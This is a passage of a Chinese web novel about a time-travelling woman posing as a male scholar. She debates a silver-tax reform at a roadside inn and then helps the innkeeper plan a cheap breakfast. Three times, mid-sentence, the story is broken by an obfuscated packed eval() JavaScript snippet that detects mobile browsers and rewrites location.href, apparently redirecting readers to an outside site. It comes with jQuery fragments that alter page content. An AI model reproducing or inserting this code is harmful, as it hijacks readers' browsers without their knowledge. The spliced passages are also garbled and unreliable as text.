今日上午，他们一行人去到明府之时，明桂枝早已把所有仆役遣散，无论生契、死契都一并发还。 只“他”孤身一人随大队出发。 二人一时无话。 俄而，明桂枝长长叹息，答他道：“我家如今的情形，保不准明天一道圣旨下来，便要抄家问斩，何必牵连他人。” 赵斐抬眼看“他”。 “允书兄，今日让你为史三题字，是我不对，”明桂枝从怀中掏出一叠银票，一双清亮的眼睛坦坦荡荡：“这里是我部分积蓄，但要劳烦你派人追回史三，赎你墨宝。” “不必了。” 赵斐断然道。 明桂枝以为他还在生气，耐着性子道：“从前在书院里，若在下曾有得罪，还望允书兄见谅我少不更事。” 赵斐侧目望向昏暗的旷野，一时目光沉沉。 明桂枝有什么得罪自己呢？ “他”只不过每件事都比他做得好。 每一件他自以为擅长的事。 在豫东书院六年黯淡无光的日子，满身伤痕累累，都是拜“他”所赐。 可是…… 明桂枝有什么错？ 赵斐双手下意识揪紧衣袖，衣纹被揪得纠结难分。 一如他的心绪。 最终，他下意识咧了咧嘴，自嘲道：“你甚至都不记得我，又何谈得罪？” 说罢，逃离似的往客栈方向去。 明桂枝挑了挑眉。 ——赵斐不惊讶自己不认得他。 所以……原身与他不熟？ 这就好办了！ …… 随着夕阳的最后一抹余晖消失在天边，明桂枝亦来到这名唤“云来”的小栈。 她脚步不算沉，木质门槛却发出吱呀声，想来是有些年份了。 客栈一楼摆了四五套方桌，坐着三五旅人，相互闲谈，略有几分喧嚣，二楼应是客房。 店里虽简陋，但收拾得尚算整洁。 明桂枝卸下行囊，才坐下，便见那黑瘦的少年家丁端来一托茶盏：“大人，出了些许差谬，请稍候片刻。” “发生何事？” “碰巧有一队赴京的人马，定下所有甲等厢房。我家管事正与之交涉，看能否出让两间甲等厢房。” 明桂枝抿了一口茶：“劳烦你告知管事，我住乙等厢房无妨。” 黑瘦少年又是一怔，转瞬点头领命。 “等等，”明桂枝看他做事干练，好奇问：“怎么称呼？” “大人唤小的‘侍墨’便可。” 侍墨拱了拱手，便往掌柜厅房去。 侍墨，文人取的名字，是赵斐所谓的“家生子”吧。 明桂枝猜度。 忽听得邻桌闲谈道：“喂，你听说明家的事吗？” ——“当然，全京城都在说呢。” 4. 世仇 烛火影影倬倬。 明桂枝定睛细看，邻桌坐了两人，一个是白白胖胖的中年人，另一个稍稍老一些，眉额尖削。 中年胖得像个酒埕，老者瘦得似根竹竿。 “真可惜，” 白胖中年人轻叹：“明家最年轻的状元呢。” 老一些的那位接口：“可不是，若没他爹这事，何至于山长水远去杭州当知府。” “听说连知府都不是。” “哦？” “什么‘市司使’，还是‘司史使’。” ——“市舶司使。” 明桂枝坐到他们那桌，纠正道。 “哦，对对！” 白胖中年不觉唐突，反正这客栈里天南地北的旅人，聊天不过打发时间，通些可有可无的谈资罢了。 他瞧明桂枝锦衣绸服，存了巴结之心，忙不迭洗盏添茶，笑道：“诶，是这个官名，你这么一说我就记起来了，拗口得很。” “好拗口的名堂，有七品么？” 瘦削老者皱眉问。 白胖中年摇头道：“八品不到。” “啊？九品芝麻官？” “从五品，” 明桂枝再次纠正，啜一口茶，又补充：“实权官职，不寒碜。” “官是不小，” 瘦削老者招了招手，让他们靠近，压低声量道：“可听说是赵家的人押他去赴任呢！” “哦？” 白胖中年耸眉低呼：“糟糕，真糟糕！” “怎么了？” 明桂枝一惊。 “他们两家是世仇，你不知道？” 明桂枝一怔再怔。 明家和赵家是世仇？ 怪不得。 赵斐明明与原身不熟，却……既在意又疏离。 甚至带着隐隐怨怼。 “小公子，你真不知道？” 白胖中年看“他”惑然，不禁讶异。 “嗯，外地人。” “难怪了，”白胖中年恍然：“我说京城中还有谁不知道这两家的恩怨。” 明桂枝顺着问：“他们结的什么仇？” 瘦削老者看他们把自己晾在一旁，抢着卖弄：“还不是为了科举，明家呀，可是四代人都抢了赵家的状元呢！” “何谓‘抢了’赵家的状元？贿赂考官？还是替考作弊？” “非也，非也，自太祖朝起，明家三代家主都才学过人，是赵家的人稍逊一筹。” “既如此，怨从何来？” “皆因那赵家的人世代簪缨，自以为诗礼传家……” 老者不紧不慢啜一口茶：“偏在科举这件事上，每每输给寒门武人出身的明家人。” 白胖中年也抿茶，睨道：“你可别说，寒门出身才好，还得明家的人更体恤咱老百姓，田水法、衡市法，哪个不是造福苍生？” “那银税法呢？” 瘦削老者白他一眼：“明家若真是忧国恤民，为什么非要阻扰银税法？” “明家世代忠良，明相公与明将军极力阻止银税法，那自然有他们的道理！” “那你倒是说说有什么道理？” 白胖中年一窒，张了张口，说不上所以然。 ——“什么是银税法？” 明桂枝转了转茶盏，打断尴尬的沉默。 白胖中年和瘦削老者皱眉相觑，转头瞪向明桂枝，几乎同时开口—— ——“银税法你没听说？” ——“就算是外地人，也该听说过吧！” 明桂枝为他们添茶，讪笑道:“我是幺子，家里生意有兄长们顶着，我只负责吃喝玩乐、斗鸡走犬，这个‘法’、那个‘法’的，我真没听过。” 白胖中年接过茶盏，满眼羡慕：“命好，真命好！” 瘦削老者也笑了：“可不是，这银税法两立两废，扰扰攘攘快十年，你竟然没听说过！” 说罢，二人为“他”娓娓道来。 明桂枝凝神细听，不时提问。 烛火微光闪烁之间，茶已经凉透。 旁的两桌客人不知何时散去。 客栈厅堂原略嫌逼仄，如今只剩他们三人，倒显得阔落许多。 银税法有三点内容，一是清丈土地，厘定田赋；二是确定赋役，限制苛扰；三是计亩征银，官收官解。 而其中有个贯彻的宗旨——把所有田赋、徭役以及丝绸布匹等杂征，按照一定的比例折算成银两。 因而，称为银税法。 明桂枝心念一动：这不正是一条鞭法吗？ 瘦削老者见“他”若有所思，催问道：“小公子，你说呢，银税法是不是利国利民？” 明桂枝长叹一口气，勉强点点头。 “呐！我说嘛，银税法是好的！” 瘦削老者拍案，朗声道。 但明桂枝瞬即皱眉，摇头复摇头。 白胖中年立马道：“你看，小公子明显不认同！” 瘦削老者急了，竖眉瞪目，一把推明桂枝：“你到底什么意思？” “我……” 明桂枝话到口头又咽下，向二人笑了笑：“我不知道。” “嗨！” 瘦削老者猛一拍桌：“我真老糊涂，竟与一纨绔子弟谈论济世经邦。” 白胖中年也笑：“可不是，你该问他哪间酒家好吃，哪里的姑娘好看。” 明桂枝只笑，不反驳。 窗边有月，烛火随微风摇曳。 四周一时寂静又昏暗。 她的思绪忽地飘回曾经。 或者，应该说是未来。 一条鞭法。 本应和明桂枝的生活扯不上任何关系。 却恰好她同父异母弟弟读的历史专业，他毕业论文的主题正是探究一条鞭法的成败得失。 她记忆里最后一次的家庭聚餐，两姐弟一直讨论明史。 明桂枝依窗抬头。 月色微黯，透着若隐若现的青蓝色反光。 像一枚被时光遗忘的铜币。 真怪。 皓月分明圆满，竟勾不起她半分思乡之情。 满脑子皆是父亲的谩骂。 ——“都怪你！他小时候你天天给他讲历史故事，什么三国演义、七侠五义，什么唐太宗，什么宋太祖，他读历史专业！和做乞丐有什么区别？还要读研究生，专研明史！他去研究明史，那我的明氏怎么办？” ——“哦！是了，你一定是故意的！哄弟弟读历史，你自个儿倒好，一个姑娘家家的，挑工商管理，什么大数据技术硕士是吧？你是不是想骑到你弟弟头上来？小算盘打得很响嘛，把你弟弟挤出去，自己独占家产？” ——“你到底明不明白，女人的天职是相夫教子，女人最大的成就是做阔太贵妇，像你弟的妈那样，每天shopping ，high tea，你偏要学你妈做女强人，有福不享，没苦硬吃！你现在嫁不出去啊，很馨香吗？你还有什么资格指手画脚？” ——“明氏是我的心血，只能由男丁继承，你老爸我有心有力，大不了我再生一个儿子慢慢培养，再大不了，我明某人就算把公司贱价卖了、捐了，也不会留给你这个赔钱货！” …… 瘦削老者和白胖中年还在讨论银税法。 喋喋不休。 二人的声音像两根老旧琴弦，被不谙音律的人拨弄，发出断续而尖锐的声响。 像极她难过时爱听的白噪音。 恍恍忽忽。 她的灵魂被禁锢在那个她既依恋又怨恨的时空。 忽然，莫名冷意将她唤醒过来。 门被推开，一队人悄无声息走进来。 微风随着被推开的门扉潜入，吹动明桂枝的发梢，也吹散她的思绪。 初夏晚间的风，带着露水的微寒。 她闻声转过头去。 只见一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918035|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行人衣着朴素，却洁净得体，步履整齐。 其中最引人注目的，是一位白发苍苍的老者，约莫五、六十岁，眼神凌厉，不怒自威。 白发老者身旁有个三十岁左右的青年，眉目端正，表情严肃。 这两人在明桂枝旁边一桌坐下，其余的仆役则四散开去，忙碌打点。 这一切发生得悄无声息，却又自然而然，行事干脆利落。 可见规训有素，比得上赵斐家的仆役。 明桂枝的目光在白发老者和青年人身上流转，不禁生出几分好奇。 他们神色自若，仿佛早已习惯这种关注。 那老者一身檀色直裰与褡护，青年人穿鸦青色圆领袍，烛火昏沉，看不清什么面料，但衣衫在微弱光线中依旧挺括，仿佛连一丝风尘亦不曾沾染，显然经过精心熨烫。 在旅途中还能维持如此精致，想必随行有专职浆洗熨烫的人。 她再低头看看自己的一身。 虽则是上乘绸缎，但白天奔波劳顿，已让衣衫生出大小皱褶。 平添疲态。 明桂枝生出一丝嘲意。 在她原本的时空里，有许多方便简单的方式，可以抚平这种不经意的比对。 ——抗皱的面料、干洗店，还有便携的熨烫机。 但是在古代，维持体面的成本如此之高。 于是每一道皱褶，都在无声地诉说着身份地位的差异。 一名仆役进来，递来一张宣帖，朝白发老者低声耳语。 明桂枝离他们近，听得一两句，似乎是什么人求见白发老者。 白发老者瞥一眼，随手塞进衣袖：“让他等。” 仆役一脸为难，白发老者只蹙一下眉，他身旁的青年立即递去眼神，仆役低头退下。 明桂枝不由腹诽：论摆架子的功夫，他们也比赵斐有过之而无不及。 ——“朝廷下了诏谕，授方卯大人枢密副使，连升三级，这明显是要大力推广银税法，那还不能证明银税法是好的吗？” 明桂枝这桌的瘦削老者徒然高了音量，与白胖中年争辩。 白胖中年亦争得红了脸，竖眉抢白：“朝廷推行的就是好的？先帝还推行贷苗法呢，要不是明相公力挽狂澜，你现在还在挨饿！这方卯既然力主银税法，我看他也不是什么好东西！” 明桂枝大吃一惊，料不到白胖中年竟敢在大庭广众抨击朝臣，还私议先帝…… 会不会，这个朝代比她印象中的封建时代要稍稍开明一些？ 她转头看向白胖中年，却没注意到，邻桌的二人在听闻“方卯”二字，举茶盏的手骤然一滞。 瘦削老者捋了捋胡须，反驳道：“方大人爱民如子，天下皆知。他在青州、杭州、泉州任上推行良政，无一不是为百姓福祉。银税法若非有利，他岂会冒天下之大不韪，坚持推行？“ “难道明相公、明将军就不爱护百姓？” “明家父子固然曾有益于民，但此一时彼一时，他们反对银税法，未必不是因为银税法触动了他们的利益。这世间的事，哪里是简单的黑白分明？” 白胖中年冷笑了一声：“你要这么说，那方卯主推银税法，也未必不是为了利益！” ——“砰！” 拍案声如一声惊雷，吓得三人一个激灵。 循声看去，原是邻桌青年所为。 他怒瞪白胖中年，斥道：“你有何根据，斗胆诋毁朝廷命官？” “仲安，让他说，”那白发老者轻轻抬手，示意青年人冷静。他缓缓开口：“老夫倒想听听，银税法对百姓有什么害处？” 声音中带着不容置疑的威严。 白胖中年在“仲安”的怒视下，一时语塞，面露尴尬之色，他支吾半天也不能成句。 半晌，明桂枝轻声插话：“若各位不弃，不才斗胆略解一二。” 5. 银税法 明桂枝本不愿卷入纷争。 只是心有无限感触，难以释怀。 她父亲总觉得明松枝研究的明史、一条鞭法无用。 那是一种对她、对弟弟都深深的不以为然。 仿佛他们姐弟俩各自的成就皆一无是处。 儿女所有努力与热爱，在父亲的利益面前全不值一提。 在这个父亲无法触及的时空，她想放肆一回，为弟弟的坚持正名。 白发老者侧首看向明桂枝，眸中闪过波澜。 他抬眉，示意“他”继续。 “银税法初衷甚好，欲简化税制，减负于民。”明桂枝语调平静，却字字珠玑：“但若执行不力，恐成扰民之举。” 名唤“仲安”的青年脸色更沉：“你有何凭证，竟说银税法扰民？” “其一，难保有额外增派之扰。银税法虽简化税制，但并未能完全消除杂役之害。假如府、县在银税法之外另行增加徭役赋税，必然导致百姓负担加重。” 瘦削老者不解：“银税法已经规定田赋、徭役的额数，如何还能有增派？” “假如，” 明桂枝笃定道：“某府某县以银税法未载的事项为由，如补路、筑墙等，百姓不得不在农忙时节放下锄头，去完成这些额外劳役呢？” 她直视白发老者。 “再假如，这些府县这边厢巧立名目强征民夫，那边厢又以银税法为由，向朝廷报账，中饱自肥呢？山高皇帝远，朝廷如何规避？” 白发老者手指不紧不慢敲打着桌面，发出清脆“笃笃”声，与客栈内的寂静形成鲜明对比。 “少年”声音清冽如泉：“其二，便是银贵谷贱之苦。官方两税收的是白银，而百姓手中多的是谷物。每逢交税之时，谷贱银贵，农户不得不将辛苦耕种的粮食折算成银子，这便给了那些唯利是图之人可乘之机。” “仲安”闻言一凛，几番欲言又止，表情渐从愤怒转为困惑。 明桂枝继续道：“假如，有人趁机抬高银价，压低粮价，使得农民手中的粮食不值钱，而税银却越来越沉重。如此一来，农民的血汗，便在这银谷之间的折算中，被无形地剥削了。” 白发老者侧耳细听，眼睛紧紧盯着桌上的烛火看。 他指端敲打桌面的声音越来越快。 和应烛火忽明忽暗的节奏。 瘦削老者和白胖中年一脸震惊，他俩原本只是随口抱怨、争吵，却却没想到这背后的利益牵扯如此复杂。 二人看向明桂枝，多了几分敬意。 “其三，” 明桂枝深吸一口气：“便是地域差异。银税法一视同仁，却忽略了南北水土之别、贫富之差。北方旱地与南方水田，其产出迥异，一概以银纳税，岂不令农民苦不堪言？” 话音未落，敲击桌面之声忽地止住。 白发老者不语。 过良久，他说：“确实，北方以粮为重，南方以商为先，若不因地制宜，便会加剧地域矛盾，损害农民利益。” 说罢，他敛目看明桂枝。 “你说的其一、其二、其三，” 白发老者声音沉稳而有力，语气既历经沧桑的概叹，也有对世事洞察的自信从容：“这些隐患，老夫在主政一方之时，未尝没有思虑。然朝中比老夫睿智、干练者大有人在，集思广益，定必一一有解决之法。” 他目光似一支箭射来。 明桂枝觉得老者眼神中闪过一丝挑衅。 或者，是对后辈的期待， 又或者，是一场智慧较量的邀请。 她重新整理思绪：“银税法虽利国便民，却变相确立了白银的官币地位。然而，大宁并不盛产白银，如此一来，岂不是将铸币之权拱手让人？” 这话话如同湖面涟漪，让人思绪一圈圈扩散。 白发老者眸中有光。 仿佛在暗夜发现一颗耀眼的星。 他颔首，语气蕴含难以掩饰的赏识：“不错，倭国白银丰富，但银税之权衡，自当将倭国白银纳入考量。如此一来，银税法还能促进与倭国的贸易往来。” 明桂枝不说话。 窗外，月色渐黯。 烛火在风中摇曳，闪烁迷离微光。 时间仿佛凝固。 良久，明桂枝的声音在寂静的客栈中响起。 如一把出鞘的剑。 “若我说，世上有一处地方，其白银之丰，至少十倍于倭国，又当如何？” 利剑切割了话题。 气氛再次冷凝。 白发老者眼角微颤，不眨一瞬看着明桂枝，似乎在怀疑自己的耳朵。 他嘴角微蹙，须臾，发出嗤嗤笑声。 这笑声并不狂放。 像是听了个志怪灵异的荒诞故事。 他头微微后仰，眼睛眯成了一条缝，眸里没有怒气。 只有淡淡的轻蔑。 明桂枝平静如水。 她早预料到对方如此反应。 她的思绪穿透客栈的喧嚣，落在历史的长河中。 若一条鞭法将成现实，那么这个时代的经济脉络，已走到了与明朝中期相称的位置。 只但是，这个未曾在原本时空出现过的时代，究竟与她所知的历史相差多远？ 大航海时代的波澜是否也在此世界翻涌？ 现在，正是揭开这层迷雾的良机。 她的声音平静而坚定：“老人家，您方才说曾主政一方，晚生斗胆探问，您 履任之地是否沿海？” “泉州。” “那么，泉州近年是否出现过铜荒？” “有过，”白发老者脸色微微一变：“与银税法何关？” 明桂枝这下更确定了：“铜荒之因，实则是物价上涨。” “不学无术，” “仲安”冷哼一声，讽刺道：“物贵则铜钱更值，用更少铜钱买更多货物，何来铜荒之说？” 他对白发老者道：“叔父何必浪费时间，听他信口开河？” “不……”白发老者抬手示意他静下，径自缓缓摇头：“不，不对，不对……” “叔父？” “仲安，他是对的……” 白发老者忽地舒眉，似乎心中一动，他目光炯炯，看向明桂枝。 “你继续说。” 明桂枝道：“铜钱虽少，却买不到与往日等价的货物。因为大宁产出的陶瓷、丝绸、茶叶，无论多少，皆被人一扫而空。” “原本一贯钱可买到的茶叶，如今却需五贯钱……”白发老者似在应和，又似在自语。 “是的，真相是：铜钱的价值缩水，久而久之，铜的计价体系崩溃，而铜与白银的兑换比例不变，故沿海百姓渐渐用白银交易。” 白发老者神色一凛。 他又不自觉敲打桌面。 那声音就像夜色中马蹄的轻响， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918036|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下下敲进每个人心里。 明桂枝续道：“老人家，是白银的大量流入促成银税法的诞生，而非银税法导致白银过量。” 一字一顿，十分肯定。 白发老者怔了一息，抬眼看向明桂枝，再复大笑。 但这次笑声中再无嘲讽。 他一脸豁然：“哈！难怪老夫总想不通，原来是倒因为果了！” 笑了好一阵，拍案大赞。 “通了，一切都说得通了！” 却俄顷，他拍案的手骤然停在半空，脸色僵得发白。 他身旁的青年“仲安”并未察觉，自顾自问：“白银流入，岂不是正好解铜荒之急？” 白发老者缓过神，睨他一眼：“你还未想到么？” “恕侄儿愚钝，” “仲安”眉头皱得更紧：“可我实在想不通，白银流入有何坏处。” 明桂枝缓缓摇头：“白银流入虽多，却非雨露均沾。它们多汇于江南繁华之地，而西北边陲……” 她叹道：“实在难分一杯羹。” “那么，将税收折合为白银征收，岂不是可以让白银流通各地，？” 明桂枝反问：“那你认为，江南的士绅富商愿意否让白银流通各地？” 那青年还想争辩，却被白发老者抬手阻止。 “够了。” “可是……” “再问，就献丑了。” 他朝明桂枝一拱手：“失礼。” 明桂枝也朝他拱手。 她猜想，再说下去，大概触及“不能说”之事——这位白发老者说不定正好是江南的士绅…… 再说下去，便是她失礼。 “各位，天色已晚，在下明日还要赶路，就此别过。” 明桂枝站起身，拍了拍衣衫上的灰尘，向各人拱手道别。 比起探讨银税法，她更向往杭州。 ——大航海时代已经到来了！ 人类历史上最波澜壮阔的一段时光！ 专属于勇敢者和冒险家的时代。 是人类对未知世界的好奇，对命运的掌控。 是世界文明交流的开始。 全球一体化的序幕！ 她即将去亲身见证了。 明桂枝的背影在昏黄的烛光下拉出长长的影子，有种说不出的潇洒。 “仲安”的眼神里带着不甘，他的目光紧紧追随着她的背影，似乎还想得到更多的答案。 白发老者的目光似冰锋，盯他好一会儿。 不久，瘦削老者与白胖中年也告辞了。 白发老者忽问：“不服气？” “仲安”微微一怔，收起眼中情绪，恭敬道：“此人所言或有几分道理，但他不过及冠之龄，纸上谈兵罢了。耳听为虚，如何及得上叔父在沿海主政多年，眼见为实？” 白发老者眉间闪过一瞬冷冽，嘴角勾起嘲讽的弧度。 “方靖，” 白发老者连名带姓呼他：“你随我在杭州、泉州多久？” 方仲安，也就是方靖，他怔了怔，不解对方莫名的愠怒：“四年又三月，承蒙叔父关照。” “你生于杭州，最远也只去过泉州，如何得知西北边陲不如他所言？” “未必不是他胡诌乱编。” 白发老者哼了一声：“你知道他是谁吗？” “难道叔父知道？” “新科状元，明桂枝。” 6. 榜眼 方靖诧问：“叔父如何得知？” 白发老者没有回答，从衣袖中掏出不久前仆役送来的宣帖，递给方靖。 是一张名剌。 昏黄的烛光下，苍劲的字迹依旧清晰——太府寺卿，赵斐赵允书。 方靖满脸难以置信。 “今届的榜眼赵斐？” 上京路上，各处客栈茶寮里，老百姓闲谈最多的便是明、赵两家四代人的恩怨。 世人皆知，永昌侯明世礼在西北御敌之际，莫名失踪，生死难料。 而朝中政敌却趁机攻讦，称其有叛国之嫌。 其子明桂枝受此牵连，纵使状元及第，圣上也只给了个从五品的官职，还遣赵家的榜眼郎护送他往杭州…… 赵斐在这客栈…… 想必明桂枝也在。 但。 方靖皱眉——叔父如何得知刚才的人是明桂枝而非赵斐？ 白发老者仿佛解答他的困惑，朝门外唤道：“赵大人，进来吧。” 声音不大，堪让门外的人听得清。 稳健脚步声传来。 只见来人身穿一袭青衫，眉宇间英气逼人。 他向白发老者拱手：“下官赵斐，拜见方大人。” “不必多礼，坐。” 那方大人目光在赵斐身上停留片刻，似乎在考量着什么。 赵斐依言坐下，他目光清澈，神态恭敬却不失风骨。 方靖登时悟了。 原来如此。 赵斐一直在门外。 而刚刚那少年与赵斐年纪相仿，华衣锦服又口齿伶俐，更恰好在此，所以叔父推断他是明桂枝。 他心中难免波涛起伏。 ——如果算上他叔父……在这平平无奇的小客栈，机缘巧合，竟聚齐大宁朝近来最受争议的三人。 方大人沉声问：“明桂枝所言你可听到？” 赵斐神色不惧：“下官并非有意窃听，只是您吩咐门外等候，故不敢远离。” “你如何看待？” “明大人见微知著，我心服口服。” “你有此气量，实在难得。” 赵斐觉得他话中有话，轻轻蹙眉，但很快恢复平静：“方大人过誉。” 方大人半瞇起眼，盯他好一会儿，忽然抬手示意方靖回避。 方靖虽有不甘，也只得告退。 烛火忽明忽暗，像是呼吸，一下下映照四周的静。 这渗人的无声，似有种沉甸甸的重量，压在赵斐的心头，连呼吸都变得小心翼翼。 他抬眼看向窗外，偏偏月光也是冷冷的。 没有温度，没有颜色，只是一味的白，白得刺眼。 像是一把锋利的刀，将他内心深处的嫉恨割裂得零零碎碎。 ——“我也是榜眼。” 方大人冷不丁说道。 赵斐愣愣回神：“什么？” “太宗朝，永泰元年的榜眼。” 永泰……元年？ 赵斐悚然动容：“是我祖父……” “是，与你祖父同榜，” 方大人点了点头：“状元明之万，探花是你祖父。” “下官失敬。” “无妨，你们赵家的人一贯只盯着明家的来计较，彼时的方卯区区寒门，不足为道，” 他自嘲：“再说，第二名素来是被人忽视的。” 方卯的目光深邃又遥远。 似乎时光被冷冷的月光和昏黄的烛火定格。 “发榜后第三天，及第者一同骑马游街，此乃传统……” 方卯没由来地一笑：“但那年只有我一人去了。” “为何？” “那天恰好是明之万母亲的忌日，所以他不去，” 方卯声线里有无奈，也有玩味：“你祖父说，明之万不去，他也不去。” “那……” “第四、第五的传胪说，他们三鼎甲不入，探花都不去，他们更没脸去。” 赵斐哧地一笑，即时察觉失礼，便低下头。 “不必拘谨，这确实好笑。”方卯倒是释怀：“宣旨的小黄门和我说，‘若是及第者都不游街，恐怕龙颜大怒，还望方榜眼多多担待……’” 他看向赵斐：“你不知道，那一路我多难受，沿街的百姓都在耳语，为什么只有他一个？状元、探花都不游街，就他榜眼兴高采烈的，他不尴尬？” 方卯顿了顿，笑道：“试问我怎能不尴尬？我脸简直比那天御赐的襟花还要红。” “下官的处境似乎好一些……” 赵斐原本心绪烦郁。 如被湿冷的棉被包裹着，沉闷得无法透气。 眼前长辈的陈年往事荒诞又滑稽，似一阵轻盈的山风，吹走他的阴霾。 他忍不住笑了。 那笑声初开始是轻微的，像是一片叶落在水面的涟漪，随即逐渐扩大，泛起波澜。 “多谢方大人安慰。” 赵斐为他添满茶盏，由衷道。 “圣上何故遣你到杭州？” 方卯举盏问。 “圣旨说的是稽查杭州府税务事宜。” “实质呢？” 赵斐对上方卯探究的视线：“护送明桂枝平安抵达杭州。” “聪明人。” “晚生或许稍逊状元一筹，但也是天下第二的榜眼。” “好，” 方卯大笑，与他碰杯：“以茶代酒，敬天下第二的榜眼！” “敬榜眼！” …… 卯时刚至。 东方天际染上淡淡的鱼肚白色。 时值初夏，空气中尚渗着夜的凉意。 客栈的一层已渐渐苏醒。 交谈声零零星星，如晨曦露珠滴落竹林。 清脆生动。 方靖昨晚没有睡。 他反复思量着明桂枝昨日的话语。 时而觉得“他”言之有理，时而又难以苟同。 那些话像是一道道魔咒，扰得他心神不宁，辗转反侧。 直到清晨的微光透入，他才惊觉自己失眠一整夜。 于是索性下楼探看。 厅堂里三张桌椅都坐满人。 大多携着行囊，显然是昨晚投店的旅人。 也有几个方家和赵家的仆役。 食物的香气扑鼻而来。 有些人的桌上摆了热气腾腾的汤食，吃得津津有味。 方靖细看，汤碗里浮着大小不一的面团子，有的圆润如珍珠，有的粗糙如小石子，点缀着几点翠绿葱花，生机盎然。 面食麦香、汤底的鲜美。 茱萸和花椒、胡椒的辛辣。 与葱花和姜丝的清香交织在一起。 他忍不住深吸一口气，仿佛能将这香气都吸入肺腑，化作满腔的愉悦。 桌前没有面碗的人都在低声交谈，偶尔望向走廊方向，似乎等待着什么。 “真香啊，瞧着比京城东市的还好吃！” “才十文钱，这热汤热面的，咱先别管好不好吃，放在涿州哪儿，最次的摊档也得收你二、三十文钱呢……” 立即有人附和：“对，再说，早饭还得热吃，从前住店每次都啃干粮，整得多颠沛流离似的，咱别论它味道咋样，就冲它是碗热的也值了！” 方靖的目光在厅堂内游移，落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918037|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最显眼的柜台处。 柜台上立了个木板，大字写道：“早餐面疙瘩汤，二十文钱一碗，本店住宿旅客半价。” 还画了一碗“面疙瘩汤”。 汤面上方还画着几道弯弯的曲线，竟仿佛热汤上的蒸汽。 简单又灵动。 方靖莞尔一笑。 字和画虽然粗犷，却透着一股子朴实亲切。 令人心喜。 他听说过这种平民面食，但他生在南方殷实之家，主食大多是米饭，面食只用拉面。 今天才第一次亲眼看见这面疙瘩汤。 转念间，生出许多疑惑—— 一路上，每次经过市集、墟市，他一直记录各地物价。 正如那住客所说，在涿州的市集，面食是二十文钱到四十文钱不等，饺子、馕饼等也是没有低于二十文钱的。 这里正价堪比涿州市集的最低价，还让利一半价钱给住客，不会亏本吗？ 莫不是……有什么阴谋？ 顺着食物的香气，方靖穿过一条窄道，拐到厨房。 明桂枝也在。 方靖讶异。 “他”和掌柜忙得满头热汗。 一人切葱，一人掌勺。 锅里热汤翻滚，面团子在汤中上下翻滚，欢快起舞。 诱人香气顺着烟雾源源扩散。 晨间光线明亮，方靖这才真切打量起明桂枝。 昨晚烛火昏暗，他离得“他”也远，只觉得对方眉目俊秀。 如今才知道此人五官实在精致。 仿佛名家大师用最细腻的笔触勾勒而成，每一细节都恰到好处。 尤其一双黑眸，明亮得像星光，胜宝石。 方靖忍不住叹了口气。 人家的儿子美如冠玉，十七岁就做状元。 他的长子十二岁还未长开，像个面团糊糊，连《论语》都背不全。 世间的事，真没那么多公平可言。 …… 掌柜是个黑黢黢的中年人。 他一边搅动面团子，一边问：“公子，如果再增加一两道热食或者拉面，你说可好？” “不好。” 明桂枝头也不抬，但语气笃定，不容置疑。 “他”把葱分拨到几碗做好的面汤上 ，朝窗外唤了声店小二，一边和面，一边解释道：“你们客栈只有你和两个伙计，兼顾不来。这面疙瘩汤简单易做，面团捏大捏小了也不碍事，如果换做拉面，你拉得粗细不一，定要砸招牌的。” “公子提点得对！”掌柜点头称是，笑道：“亏得公子见多识广，老身开这小栈十数年，竟不曾想起顺势把早餐也做了。” 方靖在门外听着，疑惑更甚。 这一路他们带了厨子，自行解决吃食，所以不曾留意。 如今细想，却察觉住了几次客栈，竟从未见过有提供早餐的情况。 总不会，这世上只有明桂枝一个聪明人吧？ 恰此时，明桂枝道：“掌柜你不是未想过，只是，你一下子就想把各种早餐做齐了，对吧？” “公子猜得，老身确实想过要准备拉面、馕饼、粥水等早点，但一想到各种食材的本钱，万一没人点，岂不是白白浪费？登时就打退堂鼓了。” “贪多嚼不烂。” “是这么个道理。” “你这客栈前不着村，后不着店的，光是能提供早餐就已经能吸引不少人。只要这里的早餐比附近市集便宜很多，更十拿九稳了。” 原来如此！ ——“所以你才把价格定得特别低，对不对！” 方靖脱口而出。 7. 当为人役 闻声，明桂枝转过头来，怔了一怔。 “价格特别低，”方靖思如泉涌，自顾自道：“且附近十里内只有这么一处能吃早餐，所以哪怕只得面疙瘩汤，也有把握绝大部分住客都会在客栈吃。” 明桂枝微微一笑。 方靖越发想通透，放胆说出猜想：“而正正是因为只有面疙瘩汤，没有别的选择，掌柜就可以预计大致的食材份量，从而减少错判，降低本钱，是不是？” “没错，而最关键的是……” “最关键是住客半价！” 方靖抢答：“如果住店而不吃早餐，感觉就像亏了那十文钱一样，没有人能抵挡这种诱惑，掌柜几乎能按照入住的人数来准备食材！” 明桂枝点头：“正是如此。” 